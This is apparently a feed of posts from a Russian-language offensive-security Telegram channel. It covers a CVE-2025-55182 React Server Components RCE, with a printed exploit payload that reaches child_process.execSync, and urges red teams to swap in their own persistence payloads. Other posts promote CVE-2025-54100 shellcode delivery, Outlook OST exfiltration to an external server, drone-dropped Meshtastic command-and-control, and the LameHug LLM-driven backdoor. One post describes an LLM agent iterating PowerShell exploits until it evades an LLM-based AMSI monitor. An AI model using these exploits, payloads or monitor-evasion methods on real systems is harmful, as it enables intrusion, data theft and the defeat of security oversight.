ip.thc.org — свежий сервис от The Hacker’s Choice, который собирает reverse dns, сабдомены и cname по всему интернету и предоставляет данные через удобное api.

#RedTeam #Recon #OSINT #BugBounty

ключевые фишки:

- reverse-dns по ip и подсетям
- поиск поддоменов
- поиск доменов, которые висят cname-ом на одну точку

имеется консольный режим в стиле «ленивая рекогносцировка»:
rDNS

curl https://ip.thc.org/140.82.121.3

subdomains

curl https://ip.thc.org/sb/example.com

главное здесь это bulk-дампы.
каждый месяц они выкладывают полный дамп базы: пример за ноябрь ~4.75 млрд записей, parquet и csv:

https://ip.thc.org/docs/bulk-data-access

там ссылки на rdns-*.parquet.gz / rdns-*.csv.gz. забрал, залил в duckdb / clickhouse / spark - и все полимеры ваши.

применение очевидно:

red team: находить теневые домены, старые инфровые узлы, ресурсы на хостерских ip

багбаунти: быстро расширять перечень исследуемых ресурсов, подбирать интересные vhost’ы и shared-хостинг

сервис халявный, дампы открытые. толковый пример, как должны выглядеть OSINT-инструменты в 2025, а не очередной «осинт-как-сервис за $199/мес».

сообщение автора увидел в прокси-баре, просил порепостить. если есть что докинуть из данных, можете пошарить ему информацию, контакты передам по запросу, пишите в сообщения этому каналу.

перешли коллегам.

👾

блоатварь — реальное зло.
на DEFCON Леон Джейкобс взял фирменное ПО от asus/msi/acer/razer и за очень короткое время нарыл шесть cve. Без ядерных эксплойтов, эксплуатации hyper-v, тут даже проблема не в драйвере — просто утилиты, которые ставятся «из коробки», чтобы мигать лампочками.

меня этот ресерч зацепил тремя вещами:

1. обширная поверхность атаки.
каждый вендор притащил с собой мини-зоопарк локальных веб-серверов, tcp-сокетов, именованных каналов и прочего IPC. половина этого добра крутится с правами system, живёт в автозапуске и слушает любые запросы с localhost. по факту — постоянный локальный api-шлюз с правом исполнения от системы, который сделан на отъебись.


2. как легко это всё находилось.
никакой магии: пару часов проснифать трафик, посмотреть, чем общается фронт с беком, — и дальше обычный набор: нет аутентификации, пародия на валидацию, кривой CORS. классические ошибки, которые мы привыкли видеть в вебе 2010 года, только теперь они живут в предустановленном софте, который массово стоит у юзеров.


3. эксплуатация до rce/lpe в один клик по ссылке.
несколько цепочек сводились к сценарию «юзер открыл подготовленный url → локальный “сервер” от вендора честно исполнил команду от имени system». просто дыра в логике + запуск браузера.



технически там хороший набор классики:

кривые проверки подписи и доверие к любому подписанному чем угодно мусору;

гонки в ipc-логике;

отсутствие строгих привязок между «ui-шелухой» и привилегированным сервисом.


важный вывод простой и неприятный:

чем больше «фирменного» софта вы тащите из коробки, тем больше у вас скрытых входных дверей;

эти штуки не предоставляют такой же уровень защищённости, как os или браузер, но при этом висят максимально близко к nt/system.


отсюда практическая рекомендация:

корпоративный стандарт — полная ликвидация блоатвари с образов;

минимум предустановленных утилит, максимум жёстких требований к тем, что остаются;

на ревью инфраструктуры — рассматривать «фирменные панели» и лаунчеры как полноценную поверхность атаки, а не «безопасный UI для юзера».


ссылка на доклад: https://youtu.be/zSBf2CMKlBk — посмотрите как учебник по тому, почему доверять вендорскому софту «для удобства» — роскошь, которой у нас больше нет.

👾

вопрос к тем, кто ещё не превратился в SOC-манекен:
вы знаете, в какой endpoint это можно отправить и что за это можно получить?

{"jsonrpc":"2.0","method":"tools.list","params":{},"id":1}

маленький json-запрос, никакого fuzzинга, никакого 0day.
если угадываешь правильный endpoint и контекст:

внешний периметр, b2b-сервисы, «панельки для партнёров», self-hosted умные-платформы, devtools, внутренние доступы — там такое добро лежит удивительно часто.

и да, пользовательский дебилизм стабилен:
экспонировать в интернет то, что «только для внутреннего пользования», такое их не смущает.

💬 напишите в сообщения каналу, с чем у вас ассоциируется такой jsonrpc-запрос и где вы уже встречали похожее.

📌 накидайте реакций, и я выкачу полноценное исследование в блоге:

- как искать такие endpoint’ы с внешки;
- как их перечислять изнутри;
- какие преференции это даёт атакующему на реальных кейсах 2025+.

кто понимает, тот уже напрягся. остальные поймут, когда появится разбор.

хак зе планет

👾

react 19 официально превратился в «удалённый шелл как фича».
разочарование года или CVE-2025-55182, CVSS 10.0, unauth RCE в React Server Components.
баг в движке, на котором крутится половина интернета.

пока баг-баунтеры героически «реверсят open source», предлагаю увлекательную игру для тех, кто ещё не уснул:
найди багу используя diff

сценарий такой:

* RCE висит в RSC / React Flight протоколе — там, где сервер разбирает payload для Server Functions и десериализует то, что к нему прилетело.

уязвимы:
react-server-dom-webpack
react-server-dom-parcel
react-server-dom-turbopack в 19.0, 19.1.0, 19.1.1, 19.2.0.
* фикс залили в 19.0.1, 19.1.2, 19.2.1 — классика: «мы просто чуть лучше валидируем пользовательский ввод».

если ты хочешь не читать чужие блоги, а реально понимать, где ломается мир — идём сразу к диффу.

git clone https://github.com/facebook/react.git
cd react
git fetch --all --tags

git diff v19.2.0..v19.2.1 -- \
  packages/react-server \
  packages/react-server-dom-webpack \
  packages/react-server-dom-parcel \
  packages/react-server-dom-turbopack

дальше упражнение:

* ищешь, где меняется логика декодинга/десериализации payload’ов для server functions;
* отмечаешь места, где внезапно появляются проверки типов, ограничение длины, доп. ветки ошибок;
* задаёшь себе честный вопрос: что мешало мне подсунуть это раньше и что именно теперь режут?

это и есть нормальный AppSec: не «прочитал тред в твиттере», а руками прошёл путь от CVE → патч → эксплойт.

для тех, кто живёт в проде, а не в лабе:

* если у тебя RSC / Next.js / Vite RSC / Parcel RSC — обновление не обсуждается;
* параллельно — пробежаться по своим образам, lock-файлам и CI, чтобы там не осталось старых react-server-dom-*.

react снова напомнил, что «frontend» давно уже не про кнопочки.
хочешь быть взрослым — учись читать патчи, а не release notes.


хак зе пленет

👾

ладно, сферический vm.runInThisContext в вакууме мы уже помучали
теперь нормальный стенд под живого человека

навайбкодил отдельную лабу:
https://github.com/ghe770mvp/RSC_Vuln_Lab

тут вместо академического «давайте сразу дергать vm» — реальный серверный гаджет, похожий на то, что вы увидите в проде:

* есть server.js, который дергает уязвимый decodeAction из react-server-dom-webpack 19.2.0 без патчей
* есть app/server-actions.js с уязвимым server action generateReport
* есть noscripts/report.js, который изображает генератор отчётов и принимает аргументы командной строки

типичный бизнес-флоу уровня «сделай мне отчётик по проекту в pdf»
под капотом — классика жанра: child_process.exec + конкатенация строк
всё как мы любим в больших корпорациях

дальше магия rsc:

* decodeAction по уязвимому протоколу проглатывает наши $ACTION_*
* мы подсовываем generateReport параметры вроде pdf & whoami
* отчёт внезапно «генерится» вместе с whoami на хосте

никаких искусственных vm#runInThisContext, никаких «специальных учебных серверов»
ровно тот уровень идиотизма, который легко встретить в enterprise:
«ну мы же всего лишь обёртку над exec написали, что тут может пойти не так»

лаба нужна для трёх вещей:

1. показать, как RSC-RCE может встраивается в реальный код
2. дать удобный стенд для отладки и анализа протокола / формата payload’ов
3. дать материал под нормальные демо

если хотите ресерчить CVE-2025-55182 не в вакууме, а на почти IRL-сценарии берите это репо и гоняйте, меняйте гаджеты, логами обмазывайтесь.

приятных снов.

👾

в сухом остатке — это обход фронтенда.

что делает уязвимость по факту?
она позволяет атакующему не грузить три тонны реактовского джаваскрипта, не иметь сессии, не быть авторизованным, прямые запросы в endpoint сервер-экшенов:

типа:
«вот тебе номер функции, вот тебе её идентификатор, а вот тебе аргументы, скушай, пожалуйста».

всё. это примитив для дебилов.
тебя просто выпускают из «загончика фронтенда» и пускают общаться напрямую с серверными функциями, которые по идее должны вызываться через нормальное приложение, через свою логику, авторизацию, контекст и прочее.

чтобы из этого был RCE, должно совпасть ещё два условия:

1. в сервер-экшене должен быть уязвимый код: child_process, шаблонизатор, eval, что угодно, что реально даёт выполнение кода на сервере;
2. этот код должен не фильтровать ввод, не экранировать, не валидировать — то есть RCE уже должен существовать у вас в кодовой базе.

а теперь внимание: вот эта — отдельная уязвимость в лабе.
это не заслуга react’а, это заслуга сценарного «инженера», который решил повесить генерацию отчётов или конвертацию pdf на exec("...", user_input).

react тут даёт мост.
но сам по себе он не превращается чудесным образом в «один HTTP-запрос — и я в шелле».

поэтому, когда я читаю вот это «CVSS 10.0 RCE, срочно всем помереть, нам пиздец это новый EthernalBlue», у меня закономерный вопрос:
вы вообще отличаете багу уровня log4shell / windows TCP/IP RCE / IPP command injection, где реально одним пакетом можно положить сервис или прыгнуть в память, от вот этого всего?

бага в Windows TCP/IP, где ты хуячишь одну злую команду — и у тебя прямая дорога до rce при определённой конфигурации — вот там я ещё могу поверить в «почти 10 из 10», хотя и там эксплуатация бывает цирковой.
windows-баг, где криво парсится пакет, и ты напрямую пишешь в хип — да, окей, это серьёзный разговор.

а тут что?
прямой вызов серверных функций в обход фронтенда.
всё.

да, это неприятно.
да, это ломает границу «фронт → бек».
да, это может превратиться в полный звездец, если ваш backend — звезда говнокод.ру с exec’ами и шаблонизаторами без фильтра.

не уровень, где ты снаружи приходишь к рандомному react-приложению и гарантированно получаешь RCE, вообще не зная кода.
в большинстве случаев ты получишь:

обход авторизации;
доступ к бизнес-логике;
возможность ломать бизнес-процессы.

что, кстати, уже неприятно, но это опять же не автоматический RCE.

больше всего веселит меня это:

во всех этих «блатных» каналах сидят персонажи с подписями «я кибер-воин, я был на подкасте у мента, у меня компания, я тебя взломаю, парень», и продают историю в духе:

> «пацаны, react теперь это RCE 0day, срочно качаем доку, собираем лабу, дрочим протокол».

ты лезешь, читаешь специфику rsc, ковыряешься с протоколом, разбираешься, как сериализуются $ACTION_*, как оно всё строится,
собираешь эту ебучую лабу, чтобы доказать самому себе:
там просто прямой вызов сервер-экшенов.

повторюсь:
чтобы был RCE, он уже должен сидеть внутри этих server actions.
и далеко не факт, что он там есть.

это важно проговорить:

уязвимость в react — это универсальный обход фронтенда и модели авторизации вокруг сервер-экшенов;

RCE — это не часть спецификации этой баги, это только возможный следущий шаг, если у вас в action’ах уже есть говнокод.

резюме:

- челик, который изначально говорил что это шляпа: ты красава что выспался сегодня.
– да, баг серьёзный, патчить надо, особенно если вы играете в RSC/Server Actions;
– нет, это не честный 10/10 RCE уровня «отправил пакет — получил шелл», это воздуханский-нарратив, разогнанный для репостов;
– никаких «магических гаджетов по умолчанию» в каждом react-приложении я пока не вижу; если кто-то найдёт встроенный универсальный rce-гаджет, поговорим ещё раз.

пока так:
я потратил кучу времени, чтобы убедиться, что король голый,
а нам опять продают историю про «критический RCE на половину интернета».

fake news, шляпа и говно от таких же фейков которые уже давно не в обойме.

патч накатываем, выводы делаем, но мозг при этом не сдаём в аренду cvss-табличкам и телеграм-экспертам.

UPD: чую, переобуюсь к обеду.

👾

апдейт по React-RCE.

списался с несколькими своими коллегами, кто тоже ковыряет эту историю. да, нас всех конкретно сбила с толку публичная демка.
но важно другое.

сам автор уязвимости / эксплойта прямым текстом сказал:
то, что сейчас гуляет по паблику — шляпа.
https://react2shell.com/
мы пошли по ложному следу.
нормальный рабочий вектор — есть, надо стараться жёстче.

по факту у нас что есть:

- десериализация
- модель угроз для RSC остаётся очень жирной
- просто путь эксплуатации явно сложнее, чем “запусти vm.runInThisContext и внедри команду”

сейчас я пойду прогуляюсь, подышу прекрасным московским воздухом,
потом закрою пару важных дел по основной движухе
и этой же ночью продолжу копать реальный вектор.

отдельно спасибо всем, кто отозвался.
проснуться к вечеру, увидеть плюс к подписчикам и корректную обратную связь — это кайф.
дальше контента будет больше: тут в основном внутрянка, AD, Red Team, оффенсив, всё как вы любите.

и да, RCE-класс уязвимости в таком звере, как React, — это жирный таргет для всех:
внутрянщиков, веберов, мобилщиков, аппсек спецов.
если оно там есть — это уже архитектурная история, а не просто “ещё один баг”.

ну и главное, что ещё раз всплыло за эту ночь:
когда реально ресёрчишь, тебя будет качать.
то “всё фейк”, то “это абсурд”, то “я вообще не туда смотрю”.

нормально.
главное — не терять голову и не терять веру в то, что ты докопаешься до сути.
остальное — шум.

👾

короткий апдейт по тому, к чему сейчас пришли по react-баге в интернетах.

https://github.com/msanft/CVE-2025-55182

выше репо автора ресерча, где он честно фиксирует ядро уязвимости:

server actions знать не обязательно. он вообще не лезет в бизнес-логику, он ковыряет сам протокол React Flight.

примитив такой: через формат "$1:__proto__:constructor:constructor" можно было залезть в прототип, вытащить Function и засунуть его в места, где react потом это вызывает (например, через then у thenable-объектов).

патч как раз про это:
добавили hasOwnProperty и обрубили возможность ходить по прототипу и изучать его свойства. всё, базовое «дырявое место» на уровне библиотеки закрыли.


поэтому картина сейчас такая:

у нас точно есть вектор с загрязнением прототипа / доступом к Function через Flight.

как именно это честно чейнить до RCE в реальных приложениях — пока открытый вопрос. нужен конкретный sink: где этот Function или объект с протравленным прототипом реально приводит к исполнению кода, а не просто к крашу.

то есть:
ядро бага подтверждено, прототип-полюшн есть, server actions для понимания механики не обязательны.
но универсальная цепочка «request → протокол → библиотечный код → гарантированный shell» пока не предъявлена. это всё ещё поле для нормального ресерча, а не готовая «кнопка RCE для любого react-проекта».

👾

БЕСПИЛОТНЫЙ RED TEAMING

ребята из dreadnode решили сыграть сами с собой в «красные vs синие», но на стероидах из llm.
https://dreadnode.io/blog/llm-powered-amsi-provider-vs-red-team-agent

с одной стороны — защитник:
кастомный amsi-провайдер под windows, который вместо сигнатур шлёт powershell-код в llm (claude sonnet) и получает вердикт: clean / suspicious / malicious.

с другой — атакующий агент:
llm, которому дают задачу
«подними привилегии до SYSTEM через уязвимую WinSysPerf и создай C:\proof_success.txt».
агент генерит ps-эксплойт, гоняет его через UnmanagedPowerShell (amsi всё видит), смотрит вывод, ошибку «blocked by antivirus» и по кругу дорабатывает атаку.

вся рубка идёт в песочнице, но каждый шаг пишется в лог: какой скрипт, какая цель, что сказал amsi-llm, сработал ли эксплойт, есть ли proof-файл и кто его владелец. на выходе — живой датасет реальных ofenssive-цепочек, а не архив powersploit’а.

как работает llm-amsi

очень коротко:
powershell → AmsiScanBuffer()
→ наш AMSI DLL
→ Read() вытаскивает скрипт
→ запрос в LLM "оценить скрипт"
→ ответ: clean / suspicious / malicious
→ маппинг в AMSI_RESULT_*
→ либо выполняем, либо рубим "blocked by antivirus"

если скрипт жирный — режут на куски, каждый отдельно гоняют в llm, один malicious → режем всё.

как работает red team агент

goal ("SYSTEM + C:\proof_success.txt")
→ LLM пишет ps-код
→ UnmanagedPowerShell.Invoke()
→ AMSI+LLM либо пускает, либо блочит
→ агент смотрит stdout/ошибки
→ verifier проверяет proof-файл и владельца
→ до 10 итераций, финал — TASK_COMPLETE

первые попытки — тупой service binPath hijack → llm-amsi валит. дальше агент начинает «играть белого админа»: отдельно смотрит статус сервиса, собирает WMI, аккуратно крутит sc.exe config, net stop/start, проверяет Test-Path. часть такого кода amsi считает чистым, часть подозрительным, иногда промахивается. но в итоге агент выбивает SYSTEM и оставляет аккуратный SUCCESS в C:\proof_success.txt.

зачем это всё

на каждый скрипт есть:
- код powershell
- цель
- факт успеха / неуспеха
- вердикт и причина от защитного llm

это уже материал, из которого можно:
- учить свои модели,
- строить правила для edr,
- тестировать продуктовые гипотезы «что llm-amsi делает под реальной атакой».

что говорить, данный подход я уже реализовал в моём проекте Ледокол ОС. еще в сентябре.

но как вы можете сами наблюдать на рынке ИБ, то вендоров и заказчиков интересует весёленький распил субсидиарного бабла по лекалам 44-ФЗ. а на безопасность им просто похуй :)

React RCE POC:
серверные компоненты, аутентификация не нужна, cvss 10.0. если у тебя next/react 19.x с server components – это уже твоя проблема.

что именно взломали

react flight-парсер не проверял, что ключи принадлежат самому объекту. через полезную нагрузку "$1:__proto__:constructor:constructor" можно было вытащить глобальный Function прямо при десериализации чанков. уже достаточно приятно: у нас есть «exec»-примитив без vm, eval и прочих костылей в сторону которых я думал вчера ночью.

шаг 2: then + await

next.js делает await decodeReplyFromBusboy(...). если декодер возвращает объект с полем then, рантайм воспринимает его как промис и вызывает then(resolve, reject). мы подсовываем объект, где then указывает на наш Function (достали его через __proto__). await послушно вызывает его. первый эффект – крэш на SyntaxError, но это только способ обнаружения наличия пути эксплуатации.

настоящий RCE-чейн

дальше начинается весёлое:

* спец-формат "$@0" позволяет вернуть сырой чанк по id, а не уже разобранный объект;
* чанки сами по себе thenable, через Chunk.prototype.then они попадают в initializeModelChunk;
* initializeModelChunk второй раз прогоняет наши данные через reviveModel, но уже вместе с внутренним объектом response.

мы собираем фейковый чанк:

* status: "resolved_model" — чтобы сработал initializeModelChunk;
* value: '{"then":"$B0"}' — на втором проходе триггерится префикс $B (blob);
* _response._formData.get указываем на Function;
* _response._prefix забиваем строкой типа process.mainModule.require('child_process').execSync('id');.

в reviveModel выполняется вызов:

response._formData.get(response._prefix + "0")

а значит реальный код, который крутится на сервере:

Function("process.mainModule.require('child_process').execSync('calc');0")

дальше эту функцию ещё и вызывают по цепочке промисов → полный RCE внутри node-процесса, один http-запрос, без логина.

кто под угрозой?

* react 19.0–19.2 с react-server-dom-* (webpack/parcel/turbopack);
* любые server actions / server functions;
* уязвимость живёт в самом decode/flight-парсере, а не в бизнес-логике.

патч уже есть: 19.0.1 / 19.1.2 / 19.2.1.
если у тебя прод на этих версиях и rsc включены — это не «надо бы обновиться», это «необходимо было сделать вчера». временные костыли — вырубить server components, ограничить доступ к endpoint’ам. еще есть худший вариант - жёстко фильтровать payload’ы с $@, $B, __proto__.

что делать red team

* на next/react-проектах сразу проверять версии react-server-dom-*;
* искать endpoint’ы с заголовком Next-Action и multipart body;
* разбирать PoC, и вместо calc добавлять ваши полезные нагрузки по исполнению/закреплению.

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    # "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

https://github.com/msanft/CVE-2025-55182

это тот случай, когда js-фреймворк честно довозит тебя от грязного payload’а до DMZ а может и до L2.

мое почтение, Moritz Sanft 👏

👾

АТАКИ НА SNMP

old but gold

что это за протокол, как устроены mib/oid;
чем отличаются v1/v2c/v3;
как брутить community-строки;
что можно вытащить с host’а через snmpwalk/braa;
где там лежат юзеры, пароли, конфиги.

в конце как из “просто мониторинга сетевого трафика” сделать rce через NET-SNMP-EXTEND-MIB и получить шелл.

https://teletype.in/@ad_poheque/hacking_SNMP

почему я это вообще выкинул сюда:
я обещал одному коллеге скинуть разбор по snmp, но контакт потерялся.
Дмитрий, привет.

заодно хочу посмотреть, будет ли жить teletype как площадка под нормальный контент, где можно читать превью прямо из тг. трафика почти нет, донатов ноль.

это перевод hacktricks на русский, теста ради.

это немного, но это честная работа :)

👾

МЕТОДОЛОГИЯ MCPwn'а

знаешь, какие сервисы крутятся рядом с llm?
уверен, что ни один из них не отдаёт тебе внутреннюю сеть по json-rpc / http без аутентификации?

mcp уже в проде: ide, ассистенты, консольные инструменты. для нас это не «новый хайп», а ещё один класс открытых api, где вместо /api/v1 теперь /mcp.
и да — SSRF, LFI, IDOR и COMMAND INJECTION теперь кайфуют там.

я собрал вводный разбор по атакам на mcp-серверы:
— что это за протокол;
— как искать открытые mcp-endpoint’ы;
— чем полезны damn vulnerable mcp server + mcp-scanner;
— какие векторы уже видно сейчас и как их тестировать в рамках пентеста.

если ты пентестер / оператор red team / appsec инженер и ещё не держишь mcp в модели угроз — ты пропускаешь новую поверхность атаки. через год это будет такой же must-have, как когда-то было «научиться ковырять graphql».

читай и применяй в проектах:
https://teletype.in/@ad_poheque/pentesting_mcp_servers

#Pentest #RedTeam #MLSecOps

👾

на этой неделе выложу пару подробных, но злых публикаций про обход блокировки файлов в windows.

разберём, как это делают китайцы через старый, заезженный, но до сих пор рабочий приём, и как то же самое провернуть иначе — моим методом, который родился в боевой практике.

речь про скрытную реализацию «недопустимого события», к которой мало какие СЗИ готовы "из коробки" — а не про очередной дамп lsass или цирк с dcsync/брутом всех хэшей домена.

канал про AD изначально, стоит чтить традиции.

параллельно готовлюсь, наконец, включить железо и записать нормальный скринкаст.

разберём уязвимость с CVSS 10/10:
выход из песочницы + use-after-free, где один кривой объект даёт вам шелл.
тема тяжёлая, вектор изящный, сложность эксплуатации может отпугивать, но закрыть такой челендж — это уже уровень реальный.

и да, отдельно спасибо тем, кто пишет в личку и даёт обратную связь.
мне это более чем ценно, я не из тех, кто будет делать вид, что "мне всё равно".
время сейчас непростое для меня лично, и ваша поддержка реально держит на плаву.

дальше будет только жёстче и практичнее.

хак зе планет.

👾

помните, коллеги, как мы прятали три заветные буквы IEX в именах файлов, DNS-записях и прочем мусоре, скремблировали их словно Котельников речь в Соболе?

так вот, в свежих сборках винды нам сами завезли подарок: curl / Invoke-WebRequest без -UseBasicParsing поднимает старый IE-движок и хавает <noscript> прямо из ответа.
CVE-2025-54100: можно больше не палиться с | iex, достаточно один раз дернуть «невинный»
curl http://…/a.js — а дальше уже вопрос фантазии и цепочки.

у неискушённых может возникнуть вопрос:
"так это же просто javanoscript, что с ним сделать можно помимо alert(1)?"

ха-ха. из самого очевидного — берёте DotNetToJScript, генерите .js, который грузит .NET-сборку и бахает шеллкод в памяти скомпрометированной станции. обфусцируете js, чуть поигрались с методом исполнения самого шеллкода
??????
PROFIT

мысль:
SSRF в некоторых веб-приложениях под Windows теперь прям просится быть докрученным до RCE. если бэкенд где-то в кишках дергает curl/iwr по вашему URL — этот вектор имеет смысл проверять отдельно и аккуратно.

ссылки:
PoC CVE-2025-54100 — https://github.com/osman1337-security/CVE-2025-54100
DotNetToJScript — https://github.com/tyranid/DotNetToJScript

👾

ТИХОЕ КОПИРОВАНИЕ ПОЧТЫ БЕЗ ТОРМОЗОВ OUTLOOK'A

как тихо выгрузить почту с Windows, не роняя Outlook Classic, не подавая особых сигналов для SOC?

на бусти разобрал способ эксфильтрации OST через теневые копии + выгрузку по http на внешний сервер.

ссылку на рабочий инструмент положил прямо в статье.

идите читать.

https://boosty.to/ghe770mvp/posts/1ac8dbee-e949-4380-a50c-032ca25fa499?share=post_link

#RedTeam #Pentest #DFIR #OPSEC

👾

пока я пишу видеоролик про обход песочницы и исполнение в heap’е — написал честную статью.

почему "информационная безопасность" в текущем виде — миф, удобный исключительно акторам и вендорам.

фидбек хороший, вам тоже зайдёт.

читайте.
https://boosty.to/ghe770mvp/posts/bfc7c31a-d059-403c-9abf-a0b86f175a30?utm_src=ad_poheque

👾

интернет отрубили, vpn задушили, ngfw дышит в затылок — а у тебя свой маленький «биврёст» на LoRa.
meshtastic как канал связи. при желании докручивается до ExpressLRS/ Crossfire, умельцы есть.

это ровно то, чего нет в корпоративных методичках: альтернативный, медленный, но живучий канал управления.
никакого tcp/ip, никакого dpi, никакого «давайте добавим сигнатуру в next gen firewall» — трафик ушёл в эфир и прошёл мимо их игрушек.

решат бороться с такой закладкой через РЭБ расположенный в офисе или цеху, то лягут:

• bluetooth-наушники любимых сеньоров
• «умные» кондиционеры
• половина датчиков и прочего iot-шлака
• АСУТП, ПЛК

всё, что дышит тем же диапазоном. чтобы выжечь один аккуратный mesh-канал, придётся устроить реальный саботаж своими же руками так и не получив желаемого.

для red team это ещё один слой выживания:
оставил физическую закладку с meshtastic → поднял аварийный c2-канал вне ip → даже если основной доступ лёг, у тебя остаётся тихий запасной маршрут. в рамках упражнений и учений — актуальная модель угроз.

дальше в игру заходят люди, которые вчера гоняли fpv под помехами, а сегодня вернулись «на гражданку». для них «обойти периметр завода и найти слепую зону» — это тривиальная задача на вечер.

и внезапно выясняется, что для закладки не нужен ни «социальный инженер», ни экскурсия в офис. достаточно в сценарии учений:

— приехать на каршеринге,
— пройтись вдоль периметра,
— проверить эфир обычными bluetooth-наушниками: если музыка не рвётся — радиообстановка более-менее чистая.

дальше включается беспилотная школа. лёгкий борт с камерой и нормальной антенной спокойно перелетает забор и оставляет внутри то, что раньше просили заносить «под видом флешки»:
маленький модуль с lora/meshtastic, wi-fi, чем угодно ещё. хоть на подоконник, хоть через открытую форточку и там уже на шкаф.
есть поддержка изнутри — вообще праздник: воткнулся в шнурок по классике, и привет, out-of-band для тех же учений.

важное здесь не «как так сделать», а что модель угроз большинства контор этого просто не видит. у них до сих пор всё крутится вокруг:

— периметр → ngfw → прокси
— офис → домен → soc

а над забором уже спокойно летает другая эпоха, где инженер по беспилотникам в паре с red team даёт такой out-of-band, который никакой «стажёр кладовщик» не обеспечит.

если вы отвечаете за защиту и всё ещё мыслите только ip-сетями и турникетами — вы динозавр и не видите целый класс каналов связи.

репозиторий для изучения:
https://github.com/benjaminchodroff/meshtastic_c2

👾

LAMEHUG / LAMEHACK

сегодня у меня день рождения, вместо тоста – вспомним самый угарный имплант года:

да, он в самом деле lame. простая связка python+pyinstaller, его явно написали во время перекура. но в этом-то и кайф:
20% усилий → 80% импакта.

мне тут понравился подход:
масса рутины вынесена напрямую llm, имплант здесь тонкий клиент к ai-агенту, который словно автопилот сам продумывает, какие команды гонять на винде.
huggingface в роли канала C2 – вообще песня:
“кхм, это у нас ai-интеграции, не блочьте, нам надо для инноваций”.

маленький, местами кривой, но гордый имплант, который показал одно из самых ярких проявлений закона парето в наступательных инструментах:
немного кода → новый вектор атак и техник, которого все ждали, но духа не хватало.

пошумели славно c:

времена изменились, теперь
- писать “малварь” == уметь строить агентные системы;
- сигнатурный подход помер вновь;
- “поведенческий анализ” получил реально мощного соперника.

идентичный боевому варианту код можно посмотреть здесь:
https://github.com/letmedaydream1337/AI-Powered-Backdoor-LameHug
почитать о TTP:
https://news.1rj.ru/str/ThreatHuntingFather/688
неплохой обзор у splunk'а:
https://www.splunk.com/en_us/blog/security/lamehug-ai-driven-malware-llm-cyber-intrusion-analysis.html

#RedTeam #Pentest #MalDev

всех поздравляю с недавним и наступающим Рождеством Христовым!

👾